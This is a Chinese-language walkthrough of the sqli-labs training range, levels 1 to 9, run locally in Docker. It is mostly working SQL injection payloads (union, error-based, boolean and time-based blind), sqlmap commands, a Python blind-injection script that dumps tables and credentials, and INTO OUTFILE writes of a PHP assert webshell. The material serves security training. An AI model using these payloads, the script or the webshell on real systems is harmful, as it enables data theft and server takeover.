前置

参考其他dl的解法

【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析_sqlilabs靶场1–65过关-CSDN博客

sqli-labs通关大全(更新至Less60)_sqlilabs通关-CSDN博客

SQLI labs 靶场精简学习记录 | 国光 (sqlsec.com)

部署

docker pull acgpiano/sqli-labs
docker run -dt --name sqli-lab -p 8888:80 acgpiano/sqli-labs:latest

工具

Firefox:hackbar+burpsuite

目前是基础阶段,利用工具进行手注

Basic-Challenges

Less-1

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id='$id'

关键代码

# 单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 支持联合、报错、布尔盲注、延时盲注
if true:
    输出查询内容
else:
    print_r(mysql_error());

联合注入

  1. 判断类型

    image-20240703230607768

    故为字符型

  2. 查字段个数

    image-20240703230918517

​ 1,2,3均有回显,说明字段数有3个,盲猜id,usernamepassword

  1. 查回显位

    字段数有三个,使用union select 1,2,3

    注意这里的id要写一个不存在的值,否则会导致只显示前一个查询的查询结果

    http://localhost:32769/Less-1/?id=0'union+select+1,2,3--+
    image-20240703231811881

    可见回显位为2,3

  2. 爆数据库名

    http://localhost:32769/Less-1/?id=0'union+select+1,2,database()--+

    数据库名为security

  3. 爆表名

    http://localhost:32769/Less-1/?id=0'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
    有emails,referers,uagents,users 4个表
  4. 爆列名

    http://localhost:32769/Less-1/?id=0'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="emails"--+

    email的列名为 id,email_id

    users的列名为id,usernamepassword

  5. 查信息

    现在就可以随便查了

    image-20240703233623862
  6. 写入webshell

    http://localhost:32769/Less-1/?id=0'union select 1,2,'<?php assert($_POST[less1]);?>' into outfile './less1.php'--+

    /var/lib/mysql/less1.php这里是默认位置,为确保能连接网站shell要调整位置

sqlmap

如果sqlmap都跑不出来我觉得手注就可以放弃了,因为比较浪费时间

但是一般网站sqlmap都跑不出来:(

联合查询注入

BASH
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

报错注入

BASH
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

布尔盲注

BASH
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

延时盲注

BASH
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

Less-2

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id=$id

这里与Less-1的区别在于,是数字型闭合,其实完全没区别

http://localhost:32769/Less-2/?id=1 and 1=2   #这里判断是数字型注入,不用闭合
http://localhost:32769/Less-2/?id=1 order by 3
http://localhost:32769/Less-2/?id=1 order by 4 #这里判断出有3个字段
http://localhost:32769/Less-2/?id=0 union select 1,2,3#回显为2,3
http://localhost:32769/Less-2/?id=0 union select 1,2,database()#爆数据库名
http://localhost:32769/Less-2/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#爆出了表名
http://localhost:32769/Less-2/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"#爆出了列名
http://localhost:32769/Less-2/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"#爆信息
http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,'<?php assert($_POST[less2]);?>' into outfile 'C:/less2.php'-- s#写webshell

Less-3

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id=('$id')

Less-1差不多,不过这里的闭合需要将括号也给闭合掉

http://localhost:32769/Less-3/?id=1'#从这里的报错可以得知需要闭合什么符号
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1  --->这里就显示出了闭合方式是('$id')

http://localhost:32769/Less-3/?id=1') order by 4--+
http://localhost:32769/Less-3/?id=1') order by 3--+ #当前表的列数

http://localhost:32769/Less-3/?id=-1') union select 1,2,3--+#判断出当前的回显位为2,3
http://localhost:32769/Less-3/?id=-1')union select 1,2,database()--+#判断出数据库名
1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+#爆出当前数据库的表名
http://localhost:32769/Less-3/?id=-1')union select 1,2,group_concat(column_name)from information_schema.columns where table_name="users"--+#爆出列名

http://localhost:32769/Less-3/?id=-1')union select 1,2,group_concat(id,username,password) from users --+#爆出信息

Less-4

请求方式 注入类型 拼接方式
GET 联合、报错、布尔盲注、延时盲注 id=("$id")

Less-3是一样的,就闭合方式不同

Less-5

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注 id='$id'

这一关由于不回显查询结果,所以联合注入是用不了的

报错注入

  • 基于XPath的报错注入
http://localhost:32769/Less-5/?id=3\#判断出闭合方式 是单引号闭合
http://localhost:32769/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+#爆库名
http://localhost:32769/Less-5/?id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name )from information_schema.tables where table_schema=database()),0x7e),1)--+#爆出当前的表名
http://localhost:32769/Less-5/?id=1'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database()and table_name="users"),0x7e),1)--+#爆出当前表的列名
http://localhost:32769/Less-5/?id=1'and updatexml(1,concat(0x7e,(select group_concat(password)from users ),0x7e),1)--+#在这里会发现报错注入的回显长度不够  我们用substr或者mid就可以解决
http://localhost:32769/Less-5/?id=1'and updatexml(1,substr(concat(0x7e,(select group_concat(username,":",password)from users ),0x7e),32,31),1)--+
#改变偏移 一点一点的爆可以写脚本进行自动化,这里不展开了
#还可以写入webshell
?id=1' into outfile '.less5.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373355d293b3f3e-- s

Less-6

请求方式 注入类型 拼接方式
GET 报错、布尔盲注、延时盲注 id="$id"

Less-5一模一样,只是闭合方式不一样

http://localhost:32769/Less-6/?id=1"and updatexml(1,concat(0x7e,database(),0x7e),1)--+ #爆库名
updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --#爆表名
http://localhost:32769/Less-6/?id=1"and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1) --+
#爆列名,然后随便查

Less-7

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 id=(('$id'))

这里发现不会显示报错结果,就排除了联合注入和报错注入

这里只能使用布尔盲注或者延时盲注了

布尔盲注示例脚本

import requests
def ascii_str():#生成库名表名字符所在的字符列表字典
	str_list=[]
	for i in range(33,127):#所有可显示字符
		str_list.append(chr(i))
	#print('可显示字符:%s'%str_list)
	return str_list#返回字符列表

def db_length(url,str):
	print("[-]开始测试数据库名长度.......")
	num=1
	while True:
		db_payload=url+"and (length(database())=%d)--+"%num
		r=requests.get(db_payload)
		if str in r.text:
			db_length=num
			print("[+]数据库长度:%d\n"%db_length)
			db_name(db_length)#进行下一步,测试库名
			break
		else:
			num += 1

def db_name(db_length):
	print("[-]开始测试数据库名.......")
	db_name=''
	str_list=ascii_str()
	for i in range(1,db_length+1):
		for j in str_list:
			db_payload=url+"and (ord(mid(database(),%d,1))='%s')--+"%(i,ord(j))
			r=requests.get(db_payload)
			if str in r.text:
				db_name+=j
				break
	print("[+]数据库名:%s\n"%db_name)
	tb_piece(db_name)#进行下一步,测试security数据库有几张表
	return db_name
	
def tb_piece(db_name):
	print("开始测试%s数据库有几张表........"%db_name)
	for i in range(100):#猜解库中有多少张表,合理范围即可
		tb_payload=url+"and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+"%(i,db_name)
		r=requests.get(tb_payload)
		if str in r.text:
			tb_piece=i
			break
	print("[+]%s库一共有%d张表\n"%(db_name,tb_piece))
	tb_name(db_name,tb_piece)#进行下一步,猜解表名


def tb_name(db_name,tb_piece):
	print("[-]开始猜解表名.......")
	table_list=[]
	for i in range(tb_piece):
		str_list=ascii_str()
		tb_length=0
		tb_name=''
		for j in range(1,20):#表名长度,合理范围即可
			tb_payload=url+"and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+"%(i,j)
			r=requests.get(tb_payload)
			if str in r.text:
				tb_length=j
				print("第%d张表名长度:%s"%(i+1,tb_length))
				for k in range(1,tb_length+1):#根据表名长度进行截取对比
					for l in str_list:
						tb_payload=url+"and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+"%(i,k,ord(l))
						r=requests.get(tb_payload)
						if str in r.text:
							tb_name+=l
				print("[+]:%s"%tb_name)
				table_list.append(tb_name)
				break
	print("\n[+]%s库下的%s张表:%s\n"%(db_name,tb_piece,table_list))
	column_num(table_list,db_name)#进行下一步,猜解每张表的字段数

def column_num(table_list,db_name):
	print("[-]开始猜解每张表的字段数:.......")
	column_num_list=[]
	for i in table_list:
		for j in range(30):#每张表的字段数量,合理范围即可
			column_payload=url+"and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+"%(j,i)
			r=requests.get(column_payload)
			if str in r.text:
				column_num=j
				column_num_list.append(column_num)#把所有表的字段,依次放入这个列表当中
				print("[+]%s表\t%s个字段"%(i,column_num))
				break
	print("\n[+]表对应的字段数:%s\n"%column_num_list)
	column_name(table_list,column_num_list,db_name)#进行下一步,猜解每张表的字段名

def column_name(table_list,column_num_list,db_name):
	print("[-]开始猜解每张表的字段名.......")
	column_length=[]
	str_list=ascii_str()
	column_name_list=[]
	for t in range(len(table_list)):#t在这里代表每张表的列表索引位置
		print("\n[+]%s表的字段:"%table_list[t])
		for i in range(column_num_list[t]):#i表示每张表的字段数量
			column_name=''
			for j in range(1,21):#j表示每个字段的长度
				column_name_length=url+"' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+"%(j-1,table_list[t],i)
				r=requests.get(column_name_length)
				if str in r.text:
					column_length.append(j)
					break
				for k in str_list:#k表示我们猜解的字符字典
					column_payload=url+"and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+"%(table_list[t],i,j,ord(k))
					r=requests.get(column_payload)
					if str in r.text:
						column_name+=k
			print('[+]:%s'%column_name)
			column_name_list.append(column_name)
	#print(column_name_list)#输出所有表中的字段名到一个列表中
	dump_data(table_list,column_name_list,db_name)#进行最后一步,输出指定字段的数据

def dump_data(table_list,column_name_list,db_name):
	print("\n[-]对%s表的%s字段进行爆破.......\n"%(table_list[3],column_name_list[9:12]))
	str_list=ascii_str()
	for i in column_name_list[9:12]:#id,username,password字段
		for j in range(101):#j表示有多少条数据,合理范围即可
			data_num_payload=url+"and (select count(%s) from %s.%s)=%d--+"%(i,db_name,table_list[3],j)
			r=requests.get(data_num_payload)
			if str in r.text:
				data_num=j
				break
		print("\n[+]%s表中的%s字段有以下%s条数据:"%(table_list[3],i,data_num))
		for k in range(data_num):
			data_len=0
			dump_data=''
			for l in range(1,21):#l表示每条数据的长度,合理范围即可
				data_len_payload=url+"and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+"%(i,db_name,table_list[3],k,l)
				r=requests.get(data_len_payload)
				if str not in r.text:
					data_len=l-1
					for x in range(1,data_len+1):#x表示每条数据的实际范围,作为mid截取的范围
						for y in str_list:
							data_payload=url+"and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+"%(i,db_name,table_list[3],k,x,ord(y))
							r=requests.get(data_payload)
							if str in r.text:
								dump_data+=y
								break
					break
			print('[+]%s'%dump_data)#输出每条数据



if __name__ == '__main__':
	url="http://127.0.0.1:32769/Less-7/?id=1'))"#目标url
	str="You are in"#布尔型盲注的true&false的判断因素
	db_length(url,str)#程序入口

sqlmap

sqlmap -u "http://127.0.0.132789/Less-7/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
id=1') AND 3542=3542 AND ('rmsD'='rmsD
sqlmap -u "http://127.0.0.1:32789/Less-7/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3
id=1') AND (SELECT 9943 FROM (SELECT(SLEEP(5)))XOYy) AND ('QUpy'='QUpy

写入webshell

/?id=1'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "/var/www/html/Less-7/info.php"--+ 

Less-8

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 id='$id'

Less-7一样,修改拼接方式即可

Less-9

请求方式 注入类型 拼接方式
GET 延时盲注 id='$id'

首先看源代码

# 使用单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 支持延时盲注
if true:
    输出 You are in............
else:
    输出 You are in...........

由于报错是一样的,我们找不到布尔的判断标准,也就无从使用布尔盲注

所以只能使用延时盲注